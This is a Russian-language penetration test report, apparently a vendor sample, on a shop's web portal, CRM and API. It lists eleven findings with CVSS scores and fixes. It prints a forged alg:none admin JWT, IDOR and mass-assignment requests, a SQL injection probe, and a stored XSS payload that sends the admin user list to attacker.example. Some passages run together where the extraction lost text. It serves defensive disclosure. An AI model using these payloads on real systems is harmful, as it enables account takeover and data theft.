В ходе тестирования веб-приложения, CRM и API «ПримерШоп» выявлено 11 значимых недостатка безопасности, из них 2 критического уровня. Наиболее опасные позволяют полностью обойти аутентификацию (подделка JWT) и получить доступ к данным и заказам любого клиента (нарушение разграничения доступа). В совокупности недостатки дают возможность захватить административный доступ, выгрузить клиентскую базу с персональными данными и вмешаться в работу магазина. Общая оценка риска — высокий. Первоочередные меры: устранить обход аутентификации (F-01), закрыть доступ к чужим объектам (F-02) и запретить присвоение роли из запроса (F-03).
В области тестирования: клиентский веб-портал, панель CRM, программный интерфейс (API) и механизмы аутентификации и разграничения доступа. Вне области: нагрузочное тестирование, социальная инженерия, атаки на инфраструктуру хостинг-провайдера.
Метод: grey-box — с выданными учётными записями по каждой роли (Admin, Manager, Client, Warehouse, Courier). Тестирование по OWASP Web Security Testing Guide и OWASP API Security Top 10. Инструменты: Burp Suite, sqlmap, nuclei, ffuf, jwt_tool, testssl.sh, Postman.
Модель нарушителя: внешний пользователь с учётной записью клиента, действующий через публичные интерфейсы.
Уровень каждой находки определён по CVSS 3.1 и бизнес-влиянию: CRITICAL 9.0–10.0 · HIGH 7.0–8.9 · MEDIUM 4.0–6.9 · LOW 0.1–3.9. Для каждой уязвимости приведён вектор CVSS и ссылка на OWASP/CWE.
| ID | Уязвимость | Уровень | CVSS | CWE |
|---|---|---|---|---|
| F-01 | Обход аутентификации: подпись JWT не проверяется | CRITICAL | 9.8 | CWE-347 |
| F-02 | Доступ к чужим заказам и клиентам по идентификатору (IDOR / BOLA) | CRITICAL | 8.6 | CWE-639 |
| F-03 | Повышение привилегий через неконтролируемое присвоение полей (mass assignment) | HIGH | 8.8 | CWE-915 |
| F-04 | SQL-инъекция в параметре сортировки | HIGH | 8.6 | CWE-89 |
| F-05 | Отсутствие ограничения попыток входа (brute force) | HIGH | 7.5 | CWE-307 |
| F-06 | Хранимый межсайтовый скриптинг (Stored XSS) в комментарии к заказу | HIGH | 7.4 | CWE-79 |
| F-07 | Небезопасная конфигурация CORS | MEDIUM | 6.5 | CWE-942 |
| F-08 | Массовая выгрузка данных: пагинация без верхнего предела | MEDIUM | 6.5 | CWE-770 |
| F-09 | Отсутствие заголовков безопасности и HSTS | MEDIUM | 5.3 | CWE-693 |
| F-10 | Небезопасные атрибуты cookie сессии | LOW | 3.7 | CWE-1004 |
| F-11 | Раскрытие версий ПО и подробных ошибок | LOW | 3.1 | CWE-209 |
Authorization: Beareralg:none и не проверяет подпись HS256. Изменив полезную нагрузку токена (поле роли и идентификатор пользователя), можно выпустить токен любого пользователя, включая администратора, и получить полный доступ к CRM.Исходный токен (декодирован):
{ "sub": 5012, "role": "client", "exp": ... }
Подделанный токен (alg:none, подпись пустая) принимается сервером:
Header: { "alg": "none", "typ": "JWT" }
Payload: { "sub": 1, "role": "admin", "exp": ... }
GET /api/admin/users HTTP/1.1
Authorization: Bearer eyJhbGciOiJub25lIn0.eyJzdWIiOjEsInJvbGUiOiJhZG1pbiJ9.
→ 200 OK (возвращён список всех пользователей CRM){"alg":"none"}, в payload выставить role=admin и sub=1, убрать подпись.none; проверять подпись каждым запросом; хранить секрет достаточной длины вне кода; сверять роль и права на стороне сервера, а не из токена.GET /api/orders/{id}, GET /api/customers/{id}GET /api/orders/1041 HTTP/1.1
Host: primershop.example
Authorization: Bearer <токен покупателя A>
→ 200 OK
{ "id":1041, "customer":"Иванов И.И.", "phone":"+7 900 ...",
"address":"...", "items":[...], "total":48250 } ← заказ покупателя B/api/orders/1042.PATCH /api/profilePATCH /api/profile HTTP/1.1
Authorization: Bearer <токен клиента>
Content-Type: application/json
{ "name":"A", "role":"admin", "is_staff": true }
→ 200 OK (роль в БД изменена на admin)"role":"admin".GET /api/products?sort=GET /api/products?sort=price)%3BSELECT%20... HTTP/1.1 Подтверждено безопасной проверкой (без выгрузки данных): sort=(CASE WHEN 1=1 THEN price ELSE name END) → сортировка меняется, sort=(CASE WHEN 1=2 THEN price ELSE name END) → порядок иной (булева инъекция подтверждена; массовая выборка не выполнялась)
sort передать булеву конструкцию CASE WHEN.POST /api/login, восстановление пароля, OTP500 запросов /api/login с разными паролями за ~40 c — все обработаны, без задержки, блокировки и капчи (проверено на тестовой учётной записи).
Комментарий к заказу:
<script>fetch('/api/admin/users').then(r=>r.text()).then(d=>
navigator.sendBeacon('https://attacker.example/x', d))</script>
При открытии заказа менеджером скрипт исполняется в его сессии.Origin в Access-Control-Allow-Origin и одновременно выставляет Access-Control-Allow-Credentials: true. Сторонний сайт может читать ответы API от имени залогиненного пользователя.Запрос: Origin: https://attacker.example
Ответ: Access-Control-Allow-Origin: https://attacker.example
Access-Control-Allow-Credentials: trueGET /api/customers?per_page=GET /api/customers?per_page=100000 HTTP/1.1 → 200 OK (возвращены все клиенты одним ответом)
Content-Security-Policy, Strict-Transport-Security, X-Frame-Options, X-Content-Type-Options.HTTP/1.1 200 OK Server: nginx (перечисленные заголовки безопасности отсутствуют)
HttpOnly и SameSite, что упрощает кражу через XSS и CSRF.Set-Cookie: session=...; Path=/ (нет HttpOnly, нет SameSite, нет Secure)
HTTP/1.1 500 Internal Server Error X-Powered-By: PHP/8.x <трассировка с путями, стеком и текстом SQL-запроса>
Первый шаг — бесплатная диагностика и согласование объёма работ.